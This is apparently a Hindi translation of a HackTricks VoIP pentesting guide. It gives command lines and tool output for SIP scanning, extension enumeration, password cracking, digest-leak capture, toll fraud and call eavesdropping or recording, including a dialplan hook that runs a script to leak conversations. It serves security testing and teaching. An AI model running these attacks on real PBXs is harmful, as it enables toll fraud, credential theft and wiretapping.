.. | ||
basic-voip-protocols | ||
README.md |
VoIP पेंटेस्टिंग
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- खोजें The PEASS Family, हमारा विशेष संग्रह NFTs का पता लगाएं
- प्राप्त करें आधिकारिक PEASS & HackTricks swag
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके अपना योगदान दें।
VoIP मूलभूत जानकारी
VoIP काम करने के बारे में सीखने के लिए निम्नलिखित देखें:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
VoIP जांच
टेलीफोन नंबर
रेड टीम का एक पहला कदम हो सकता है कंपनी के साथ संपर्क करने के लिए उपलब्ध फोन नंबर खोजना, OSINT उपकरण, Google खोज या वेब पृष्ठों को स्क्रैप करना।
एक बार जब आपके पास टेलीफोन नंबर हो जाएं, आप ऑनलाइन सेवाओं का उपयोग करके ऑपरेटर की पहचान करने के लिए कर सकते हैं:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
यदि ऑपरेटर VoIP सेवाएं प्रदान करता है, तो आप पहचान सकते हैं कि कंपनी VoIP का उपयोग कर रही है... इसके अलावा, संभव है कि कंपनी ने VoIP सेवाएं किराए पर नहीं ली हो, लेकिन PSTN कार्ड का उपयोग करके अपने खुद के VoIP PBX को पारंपरिक टेलीफोन नेटवर्क से कनेक्ट कर रही हो।
स्वचालित प्रतिक्रियाएं या संगीत का उत्तर देना आमतौर पर इसका संकेत है कि VoIP का उपयोग हो रहा है।
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT जानकारी
वॉयस ओएसआईएनटी जांच करने के लिए किसी अन्य ओएसआईएनटी जांच का उपयोग किया जा सकता है जो वॉयस सॉफ़्टवेयर की पहचान करने में मददगार हो सकता है।
नेटवर्क जांच
nmap
UDP सेवाओं की स्कैनिंग करने के लिए सक्षम है, लेकिन इस प्रकार की सेवाओं के स्कैनिंग के कारण यह बहुत धीमा होता है और यह बहुत सटीक नहीं हो सकता है।- SIPVicious के
svmap
(sudo apt install sipvicious
) से: निर्दिष्ट नेटवर्क में SIP सेवाओं को ढूंढ़ेगा। svmap
आसानी से ब्लॉक किया जा सकता है क्योंकि इसमें उपयोगकर्ता एजेंटfriendly-scanner
का उपयोग किया जाता है, लेकिन आप/usr/share/sipvicious/sipvicious
से कोड को संशोधित करके इसे बदल सकते हैं।
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
sipscan.py
को sippts: सिपस्कैन UDP, TCP या TLS के ऊपर SIP सेवाओं के लिए एक बहुत तेज़ स्कैनर है। यह मल्टीथ्रेड का उपयोग करता है और बड़े नेटवर्क रेंज को स्कैन कर सकता है। यह आसानी से एक पोर्ट रेंज निर्दिष्ट करने, TCP और UDP दोनों को स्कैन करने, एक अन्य विधि का उपयोग करने (डिफ़ॉल्ट रूप से यह OPTIONS का उपयोग करेगा) और एक अलग User-Agent (और अधिक) निर्दिष्ट करने की अनुमति देता है।
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- मेटास्प्लोइट:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
अतिरिक्त नेटवर्क जांच
PBX अन्य नेटवर्क सेवाएं भी प्रकट कर सकता है जैसे:
- 69/UDP (TFTP): फर्मवेयर अपडेट
- 80 (HTTP) / 443 (HTTPS): वेब से उपकरण का प्रबंधन करने के लिए
- 389 (LDAP): उपयोगकर्ता जानकारी संग्रह करने का विकल्प
- 3306 (MySQL): MySQL डेटाबेस
- 5038 (Manager): अन्य प्लेटफॉर्मों से Asterisk का उपयोग करने की अनुमति देता है
- 5222 (XMPP): Jabber का उपयोग करके संदेश
- 5432 (PostgreSQL): PostgreSQL डेटाबेस
- और अन्य...
विधियों का जांच
sipenumerate.py
का उपयोग करके PBX में उपयोग करने के लिए कौन सी विधियाँ उपलब्ध हैं यह पता लगाया जा सकता है। sippts से।
python3 sipenumerate.py -i 10.10.0.10 -r 5080
एक्सटेंशन गणना
PBX (निजी शाखा एक्सचेंज) सिस्टम में एक्सटेंशन का उपयोग संगठन या व्यापार के भीतर व्यक्तिगत फोन लाइनों, उपकरणों या उपयोगकर्ताओं को दिये गए अद्वितीय आंतरिक पहचानकर्ताओं के लिए किया जाता है। एक्सटेंशन के माध्यम से संगठन के भीतर कॉल को प्रभावी रूप से रूट करना संभव होता है, बिना प्रत्येक उपयोगकर्ता या उपकरण के लिए अलग-अलग बाहरी फोन नंबर की आवश्यकता के।
svwar
SIPVicious से (sudo apt install sipvicious
):svwar
एक मुफ्त SIP PBX एक्सटेंशन लाइन स्कैनर है। सिद्धांत में, यह पारंपरिक वारडायलर की तरह काम करता है जहां एक्सटेंशन की एक श्रेणी या दिए गए एक्सटेंशन की सूची के अनुमान लगाकर काम करता है।
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sipextend.py
यह sippts से हैं:** Sipexten SIP सर्वर पर एक्सटेंशन की पहचान करता है। Sipexten बड़े नेटवर्क और पोर्ट रेंज की जांच कर सकता है।
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
- metasploit: आप मेटास्प्लोइट का उपयोग करके एक्सटेंशन/उपयोगकर्ता को भी जांच सकते हैं:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX एक इंटर एस्टेरिस्क एक्सचेंज प्रोटोकॉल यूजरनेम ब्रूट-फोर्स एनुमरेटर है। enumIAX दो अलग-अलग मोड में कार्य कर सकता है; क्रमिक यूजरनेम गेसिंग या शब्दकोश हमला।
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP हमले
पासवर्ड ब्रूट-फोर्स
PBX और कुछ एक्सटेंशन/उपयोगकर्ता नामों का पता लगाने के बाद, एक लाल टीम को एक शब्दकोश का उपयोग करके प्रमाणीकरण के लिए एक एक्सटेंशन पर REGISTER
विधि का उपयोग करके प्रमाणित करने की कोशिश कर सकती है।
{% hint style="danger" %} ध्यान दें कि एक उपयोगकर्ता नाम एक्सटेंशन के समान हो सकता है, लेकिन यह अभ्यास PBX सिस्टम, इसके कॉन्फ़िगरेशन और संगठन की प्राथमिकताओं पर निर्भर कर सकता है...
यदि उपयोगकर्ता नाम एक्सटेंशन के समान नहीं है, तो आपको इसे ब्रूट-फोर्स करने के लिए उपयोगकर्ता नाम का पता लगाने की आवश्यकता होगी। {% endhint %}
svcrack
SIPVicious से (sudo apt install sipvicious
): SVCrack आपको PBX पर एक विशिष्ट उपयोगकर्ता नाम/एक्सटेंशन के लिए पासवर्ड को क्रैक करने की अनुमति देता है।
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
sipcrack.py
यह sippts से हैं:** SIP Digest Crack एक उपकरण है जो SIP प्रोटोकॉल के भीतर डाइजेस्ट प्रमाणीकरण को क्रैक करने के लिए उपयोग होता है।
{% code overflow="wrap" %}
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
{% endcode %}
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP स्निफिंग
यदि आप किसी खुले Wifi नेटवर्क में VoIP उपकरण खोजते हैं, तो आप सभी जानकारी को स्निफ कर सकते हैं। इसके अलावा, यदि आप एक और बंद नेटवर्क में हैं (इथरनेट के माध्यम से कनेक्ट किया गया है या सुरक्षित Wifi के माध्यम से कनेक्ट किया गया है), तो आप ARPspoofing की तरह कार्य कर सकते हैं जैसे कि ARPspoofing के बीच PBX और गेटवे के बीच में MitM हमले करके जानकारी को स्निफ कर सकते हैं।
नेटवर्क जानकारी में, आप उपकरण को प्रबंधित करने के लिए वेब क्रेडेंशियल, उपयोगकर्ता एक्सटेंशन, उपयोगकर्ता नाम, IP पते, यहां तक कि हैश किए गए पासवर्ड और RTP पैकेट भी मिल सकते हैं जिन्हें आप पुनः उत्पन्न करके बातचीत सुन सकते हैं, और अधिक।
इस जानकारी को प्राप्त करने के लिए आप Wireshark, tcpdump जैसे उपकरण का उपयोग कर सकते हैं... लेकिन एक विशेष रूप से बनाया गया उपकरण VoIP बातचीत को स्निफ करने के लिए ucsniff है।
{% hint style="danger" %}
ध्यान दें कि यदि SIP संचार में TLS का उपयोग किया जाता है, तो आप साफ देख नहीं पाएंगे।
यदि SRTP और ZRTP का उपयोग किया जाता है, तो RTP पैकेट साफ पाठ में नहीं होंगे।
{% endhint %}
SIP क्रेडेंशियल
इस उदाहरण की जांच करें ताकि आप एक SIP REGISTER संचार को बेहतर समझ सकें और सीखें कि क्रेडेंशियल कैसे भेजे जाते हैं।
sipdump
औरsipcrack
, sipcrack का हिस्सा (apt-get install sipcrack
): ये उपकरण SIP प्रोटोकॉल के भीतर से डाइजेस्ट प्रमाणीकरण को प्राप्त कर सकते हैं और उन्हें ब्रूटफोर्स कर सकते हैं।
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
siptshar.py
,sipdump.py
,sipcrack.py
यहां से आए हैं sippts:- SipTshark एक PCAP फ़ाइल से SIP प्रोटोकॉल के डेटा को निकालता है।
- SipDump एक PCAP फ़ाइल से SIP Digest प्रमाणीकरण को निकालता है।
- SIP Digest Crack SIP प्रोटोकॉल के भीतर Digest प्रमाणीकरण को क्रैक करने का एक उपकरण है।
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
DTMF कोड
नेटवर्क ट्रैफिक में SIP क्रेडेंशियल्स के अलावा, DTMF कोड भी मिल सकते हैं जो उदाहरण के लिए वॉइसमेल तक पहुंचने के लिए उपयोग किए जाते हैं।
ये कोड INFO SIP संदेशों, ऑडियो या RTP पैकेट्स में भेजे जा सकते हैं। यदि कोड RTP पैकेट्स में हैं, तो आप उस बातचीत का उस हिस्सा काट सकते हैं और इस्तेमाल कर सकते हैं multimo टूल को उन्हें निकालने के लिए:
multimon -a DTMF -t wac pin.wav
मुफ्त कॉल / एस्टेरिस्क कनेक्शन मिसकॉन्फिगरेशन
एस्टेरिस्क में एक विशिष्ट आईपी पते से कनेक्शन की अनुमति देना संभव है या किसी भी आईपी पते से:
host=10.10.10.10
host=dynamic
यदि एक आईपी पता निर्दिष्ट किया जाता है, तो होस्ट को समय-समय पर REGISTER अनुरोध भेजने की आवश्यकता नहीं होगी (REGISTER पैकेट में टाइम टू लिव, आमतौर पर 30 मिनट होता है, जिसका मतलब है कि दूसरे स्थिति में फ़ोन को हर 30 मिनट में REGISTER करने की आवश्यकता होगी)। हालांकि, इसके लिए खुले पोर्ट होने चाहिए जो वॉयप सर्वर से कनेक्शन स्वीकार करने की अनुमति देते हैं।
उपयोगकर्ताओं को परिभाषित करने के लिए निम्नलिखित ढंग से परिभाषित किया जा सकता है:
type=user
: उपयोगकर्ता केवल उपयोगकर्ता के रूप में कॉल प्राप्त कर सकता है।type=friend
: पीयर के रूप में कॉल करने और उपयोगकर्ता के रूप में कॉल प्राप्त करने की संभावना होती है (एक्सटेंशन के साथ उपयोग किया जाता है)type=peer
: पीयर के रूप में कॉल भेजने और प्राप्त करने की संभावना होती है (SIP-ट्रंक)
असुरक्षित चर के साथ विश्वास स्थापित करना भी संभव है:
insecure=port
: आईपी द्वारा सत्यापित पीयर कनेक्शन की अनुमति देता है।insecure=invite
: INVITE संदेशों के लिए प्रमाणीकरण की आवश्यकता नहीं होती हैinsecure=port,invite
: दोनों
{% hint style="warning" %}
जब type=friend
का उपयोग किया जाता है, तो host चर का मान उपयोग नहीं होगा, इसलिए यदि एक व्यवस्थापक उस मान का उपयोग करके एक SIP-ट्रंक को गलत रूप से कॉन्फ़िगर करता है, तो कोई भी उससे कनेक्ट हो सकेगा।
उदाहरण के लिए, यह कॉन्फ़िगरेशन संरक्षित नहीं होगी:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
मुफ्त कॉल / एस्टेरिस्क कंटेक्स्ट मिसकॉन्फ़िगरेशन
एस्टेरिस्क में कंटेक्स्ट एक नामित कंटेनर या धारा होती है जो डायल प्लान में संबंधित एक्सटेंशन, कार्रवाई और नियमों को समूहीकृत करती है। डायल प्लान एक एस्टेरिस्क सिस्टम का मूल घटक होता है, क्योंकि यह आउटगोइंग और इनकमिंग कॉल को कैसे हैंडल और रूट किए जाते हैं को परिभाषित करता है। कंटेक्स्ट को डायल प्लान को व्यवस्थित करने, पहुंच नियंत्रण प्रबंधित करने और सिस्टम के विभिन्न हिस्सों के बीच अलगाव प्रदान करने के लिए उपयोग किया जाता है।
प्रत्येक कंटेक्स्ट को सामान्यतः extensions.conf
फ़ाइल में परिभाषित किया जाता है। कंटेक्स्ट को वर्गाकार ब्रैकेट्स द्वारा दर्शाया जाता है, जिनमें कंटेक्स्ट का नाम समावेशित होता है। उदाहरण के लिए:
csharpCopy code[my_context]
इस संदर्भ में, आप एक्सटेंशन्स (डायल किए गए नंबरों के पैटर्न) को परिभाषित करते हैं और उन्हें कार्रवाईयों या एप्लिकेशन्स के साथ जोड़ते हैं। ये कार्रवाईयाँ निर्धारित करती हैं कि कॉल कैसे प्रोसेस होती है। उदाहरण के लिए:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
यह उदाहरण "my_context" नामक एक सरल संदर्भ को दिखाता है जिसमें "100" नामक एक एक्सटेंशन होता है। जब कोई व्यक्ति 100 डायल करता है, तो कॉल को उठाया जाएगा, एक स्वागत संदेश प्ले होगा, और फिर कॉल समाप्त हो जाएगी।
यह एक और संदर्भ है जो किसी अन्य नंबर पर कॉल करने की अनुमति देता है:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
यदि व्यवस्थापक डिफ़ॉल्ट संदर्भ को निर्धारित करता है:
[default]
include => my_context
include => external
{% hint style="warning" %} कोई भी व्यक्ति सर्वर का उपयोग करके किसी भी अन्य नंबर पर कॉल कर सकेगा (और सर्वर के प्रशासक को कॉल के लिए भुगतान करना होगा)। {% endhint %}
{% hint style="danger" %}
इसके अलावा, डिफ़ॉल्ट रूप से sip.conf
फ़ाइल में allowguest=true
होता है, इसलिए कोई भी हमलावर कोई प्रमाणीकरण नहीं के साथ किसी भी अन्य नंबर पर कॉल कर सकेगा।
{% endhint %}
sipinvite.py
from sippts: Sipinvite यह जांचता है कि क्या एक PBX सर्वर हमें प्रमाणीकरण के बिना कॉल करने की अनुमति देता है। यदि SIP सर्वर में गलत कॉन्फ़िगरेशन है, तो यह हमें बाहरी नंबरों पर कॉल करने की अनुमति देगा। यह हमें कॉल को दूसरे बाहरी नंबर पर स्थानांतरित करने की भी अनुमति दे सकता है।
उदाहरण के लिए, यदि आपके Asterisk सर्वर में एक बुरी संदर्भ कॉन्फ़िगरेशन है, तो आप INVITE अनुरोध को प्रमाणीकरण के बिना स्वीकार कर सकते हैं। इस मामले में, एक हमलावर को किसी भी उपयोगकर्ता/पासवर्ड को जानने की आवश्यकता नहीं होती है और वह कॉल कर सकता है।
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
मुफ्त कॉल / गलत रूप से कॉन्फ़िगर किया गया IVRS
IVRS का मतलब होता है इंटरैक्टिव वॉयस रिस्पॉन्स सिस्टम, एक टेलीफोनी तकनीक जो उपयोगकर्ताओं को आवाज या टच-टोन इनपुट के माध्यम से कंप्यूटरीकृत सिस्टम के साथ संवाद करने की अनुमति देती है। IVRS का उपयोग करके स्वचालित कॉल हैंडलिंग सिस्टम बनाए जाते हैं जो जानकारी प्रदान करने, कॉल रूट करने और उपयोगकर्ता इनपुट को कैप्चर करने जैसे कई फ़ंक्शनलिटीज़ प्रदान करते हैं।
VoIP सिस्टम में IVRS आमतौर पर निम्नलिखित से मिलता है:
- वॉयस प्रॉम्प्ट्स: IVR मेनू विकल्पों और निर्देशों के माध्यम से उपयोगकर्ताओं को निर्देशित करने वाले पूर्व-रिकॉर्डेड ऑडियो संदेश।
- DTMF (ड्यूल-टोन मल्टी-फ़्रीक्वेंसी) सिग्नलिंग: फ़ोन पर कुंजी दबाकर उत्पन्न होने वाले टच-टोन इनपुट, जिन्हें IVR मेनू में नेविगेट करने और इनपुट प्रदान करने के लिए उपयोग किया जाता है।
- कॉल रूटिंग: उपयोगकर्ता इनपुट के आधार पर विशेष विभागों, एजेंटों या एक्सटेंशन्स जैसे उचित गंतव्य को कॉल निर्देशित करना।
- उपयोगकर्ता इनपुट कैप्चर: खाता नंबर, मामला आईडी या किसी अन्य प्रासंगिक डेटा जैसे कॉलर से जानकारी एकत्र करना।
- बाहरी सिस्टमों के साथ एकीकरण: IVR सिस्टम को डेटाबेस या अन्य सॉफ़्टवेयर सिस्टम से कनेक्ट करना ताकि जानकारी एक्सेस या अपडेट करने, कार्रवाई करने या घटनाओं को ट्रिगर करने के लिए उपयोग किया जा सके।
एक Asterisk VoIP सिस्टम में, आप डायल प्लान (extensions.conf
फ़ाइल) और Background()
, Playback()
, Read()
और अन्य ऐप्लिकेशन का उपयोग करके IVR बना सकते हैं। इन ऐप्लिकेशन्स की मदद से आप वॉयस प्रॉम्प्ट्स प्ले कर सकते हैं, उपयोगकर्ता इनपुट कैप्चर कर सकते हैं और कॉल फ़्लो को कंट्रोल कर सकते हैं।
गलत रूप से कॉन्फ़िगर किए गए कॉन्फ़िगरेशन का उदाहरण
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
पिछला उदाहरण एक ऐसा है जहां उपयोगकर्ता से कहा जाता है कि वह एक विभाग को कॉल करने के लिए 1 दबाएं, दूसरे को कॉल करने के लिए 2 दबाएं, या अगर उसे पता है तो पूरा एक्सटेंशन दबाएं।
संकटग्रस्तता यह है कि यहां निर्दिष्ट एक्सटेंशन लंबाई की जांच नहीं की जाती है, इसलिए एक उपयोगकर्ता 5 सेकंड की टाइमआउट के बाद भी पूरा नंबर दर्ज कर सकता है और उसे कॉल किया जाएगा।
एक्सटेंशन इंजेक्शन
एक्सटेंशन का उपयोग करके जैसे:
exten => _X.,1,Dial(SIP/${EXTEN})
जहां ${EXTEN}
एक्सटेंशन है जिसे कॉल किया जाएगा, जब एक्सटेंशन 101 दर्ज किया जाएगा तो यह होगा:
exten => 101,1,Dial(SIP/101)
हालांकि, यदि ${EXTEN}
को नंबर के अलावा और भी कुछ (पुराने Asterisk संस्करणों की तरह) दर्ज करने की अनुमति होती है, तो हमलावर 101&SIP123123123
दर्ज करके फोन नंबर 123123123 पर कॉल कर सकता है। और यही परिणाम होगा:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
इसलिए, 101
और 123123123
एक्सटेंशन पर कॉल भेजी जाएगी और केवल पहले वाले को कॉल स्थापित होगी... लेकिन अगर कोई हमलावर एक ऐसे एक्सटेंशन का उपयोग करे जो किसी भी मिलान को अनदेखा करता है जो कि किसी भी मिलान के दौरान किया जा रहा हो लेकिन मौजूद नहीं है, तो वह केवल चयनित नंबर पर कॉल इंजेक्ट कर सकता है।
SIPDigestLeak
SIP Digest Leak एक सुरक्षा दुर्बलता है जो बहुत सारे SIP फोनों को प्रभावित करती है, जिनमें हार्डवेयर और सॉफ्टवेयर आईपी फोन और फोन एडाप्टर (VoIP से एनालॉग) शामिल हैं। यह दुर्बलता Digest प्रमाणीकरण प्रतिक्रिया की रिसाव को संदेश से निकालने की अनुमति देती है, जो पासवर्ड से गणना की जाती है। इसके बाद एक ऑफलाइन पासवर्ड हमला संभव होता है और चैलेंज प्रतिक्रिया पर आधारित अधिकांश पासवर्ड को पुनर्प्राप्त किया जा सकता है।
दुर्भाग्यवश, अभी तक इस विषय पर कोई अधिक जानकारी उपलब्ध नहीं है।
- एक आईपी फोन (शिकार) पोर्ट 5060 पर सुन रहा है, फोन कॉल स्वीकार कर रहा है
- हमलावर ने आईपी फोन को INVITE भेजा है
- शिकार फोन बजना शुरू करता है और कोई उत्तर नहीं देता है (क्योंकि दूसरे छोर पर कोई फोन नहीं उठाता है)
- जब फोन काट दिया जाता है, तो शिकार फोन हमलावर को BYE भेजता है
- हमलावर एक 407 प्रतिक्रिया जारी करता है जो प्रमाणीकरण के लिए पूछता है और प्रमाणीकरण चुनौती जारी करता है
- शिकार फोन एक दूसरे BYE में प्रमाणीकरण चुनौती का उत्तर देता है
- हमलावर फिर अपनी स्थानीय मशीन पर चुनौती प्रतिक्रिया पर ब्रूट-फोर्स हमला कर सकता है और पासवर्ड को अनुमान लगा सकता है
- sippts से sipdigestleak.py : SipDigestLeak इस दुर्बलता का शोध करता है।
python3 sipdigestleak.py -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
क्लिक2कॉल
क्लिक2कॉल एक वेब उपयोगकर्ता को (जो उदाहरण के लिए किसी उत्पाद में रुचि रख सकता है) उसका टेलीफोन नंबर दर्ज करने की अनुमति देता है ताकि उसे कॉल किया जा सके। फिर एक व्यापारिक को कॉल किया जाएगा, और जब वह फोन उठाएगा, तो उपयोगकर्ता को कॉल किया जाएगा और एजेंट के साथ कनेक्ट किया जाएगा।
इसके लिए एक सामान्य Asterisk प्रोफ़ाइल है:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- पिछली प्रोफ़ाइल किसी भी IP पते को कनेक्ट करने की अनुमति दे रही है (अगर पासवर्ड ज्ञात हो तो)।
- पिछले तरह, कॉल को आयोजित करने के लिए कोई पढ़ने की अनुमति आवश्यक नहीं है और केवल लिखने में originate अनुमति ही चाहिए।
इन अनुमतियों के साथ, किसी भी IP पता वाला व्यक्ति पासवर्ड जानते हुए कनेक्ट कर सकता है और बहुत सारी जानकारी निकाल सकता है, जैसे:
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
अधिक जानकारी या कार्रवाई की मांग की जा सकती है।
ईव्सड्रॉपिंग
एस्टेरिस्क में यह संभव है कि आप ChanSpy
कमांड का उपयोग करें जिसमें मॉनिटर करने के लिए एक्सटेंशन(ओं) की घोषणा (या सभी) की जा सकती है, जो बातचीत हो रही हैं, सुनने के लिए। इस कमांड को एक एक्सटेंशन को सौंपा जाना चाहिए।
उदाहरण के लिए, exten => 333,1,ChanSpy('all',qb)
इसका इशारा करता है कि यदि आप एक्सटेंशन 333 को कॉल करते हैं, तो यह सभी एक्सटेंशन को मॉनिटर करेगा, नई बातचीत शुरू होते ही (b
) शांत मोड (q
) में सुनना शुरू करेगा क्योंकि हमें इसमें संवाद में बातचीत में हस्तक्षेप नहीं करना है। आप एक बातचीत हो रही हो सकती है से दूसरी बातचीत हो रही हो जाने के लिए *
दबा सकते हैं, या एक्सटेंशन नंबर को चिह्नित कर सकते हैं।
बातचीतों को सुनने की बजाय, आप एक्सटेंशन का उपयोग करके उन्हें फ़ाइलों में रिकॉर्ड कर सकते हैं, जैसे:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
कॉल्स /tmp
में सहेजी जाएंगी।
आप यहां तक पहुंच सकते हैं कि जब यह बंद हो जाएगा, एस्टेरिस्क एक स्क्रिप्ट को चलाए जो कॉल को लीक करेगा।
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed
RTCPBleed एक मुख्य सुरक्षा समस्या है जो Asterisk आधारित VoIP सर्वरों को प्रभावित करती है (2017 में प्रकाशित की गई है)। इस संकट के कारण RTP (रियल टाइम प्रोटोकॉल) ट्रैफिक, जो VoIP वार्ताओं को ले जाता है, किसी भी इंटरनेट पर मौजूद व्यक्ति द्वारा अवरुद्ध और पुनर्निर्देशित किया जा सकता है। यह इसलिए होता है क्योंकि RTP ट्रैफिक NAT (नेटवर्क पता अनुवादन) फ़ायरवॉल के माध्यम से नेविगेट करते समय प्रमाणीकरण को छोड़ देता है।
RTP प्रॉक्सी आमतौर पर दो या अधिक पक्षों के बीच RTP स्ट्रीम को प्रॉक्सी करके RTC सिस्टम को प्रभावित करने वाले NAT सीमाओं का सामना करने की कोशिश करते हैं। जब NAT स्थापित होता है, तो RTP प्रॉक्सी सॉफ़्टवेयर आमतौर पर संकेतीका (जैसे SIP) के माध्यम से प्राप्त की गई RTP IP और पोर्ट जानकारी पर भरोसा नहीं कर सकता है। इसलिए, कई RTP प्रॉक्सी ने एक ऐसी तंत्रिका को लागू किया है जहां ऐसी IP और पोर्ट जोड़ी स्वचालित रूप से सीखी जाती है। यह आमतौर पर इनकमिंग RTP ट्रैफिक की जांच करके किया जाता है और किसी भी इनकमिंग RTP ट्रैफिक के स्रोत IP और पोर्ट को उत्तर देने के लिए उत्तरदाता के रूप में चिह्नित किया जाता है। इस तंत्र को "सीखने की मोड" कहा जा सकता है, जो किसी भी प्रकार के प्रमाणीकरण का उपयोग नहीं करता है। इसलिए हमलावर RTP प्रॉक्सी को RTP ट्रैफिक भेज सकते हैं और एक चल रही RTP स्ट्रीम के कॉलर या कॉली के लिए मांगी गई प्रॉक्सी RTP ट्रैफिक प्राप्त कर सकते हैं। हम इस सुरक्षा दुर्बलता को RTP Bleed कहते हैं क्योंकि यह हमलावरों को वैध उपयोगकर्ताओं को भेजने के लिए निर्धारित RTP मीडिया स्ट्रीम प्राप्त करने की अनुमति देती है।
RTP प्रॉक्सी और RTP स्टैक का एक और दिलचस्प व्यवहार है कि कभी-कभी, यद्यपि RTP Bleed के प्रति दुर्बल नहीं हों, वे किसी भी स्रोत से RTP पैकेट्स को स्वीकार, आगे भेजें और/या प्रोसेस करेंगे। इसलिए हमलावर RTP पैकेट्स भेज सकते हैं जो उन्हें वैध वाले के बजाय अवैध मीडिया को इंजेक्ट करने की अनुमति देते हैं। हम इस हमले को RTP इंजेक्शन कहते हैं क्योंकि इससे मौजूदा RTP स्ट्रीम में अवैध RTP पैकेट्स को इंजेक्ट करने की अनुमति मिलती है। यह सुरक्षा दुर्बलता दोनों RTP प्रॉक्सी और एंडपॉइंट्स में पाई जा सकती है।
Asterisk और FreePBX ने पारंपरिक रूप से NAT=yes
सेटिंग का उपयोग किया है, जो RTP ट्रैफिक को प्रमाणीकरण को छोड़ देता है, जिससे कॉलों पर कोई ऑडियो या एकतरफ़ा ऑडियो हो सकता है।
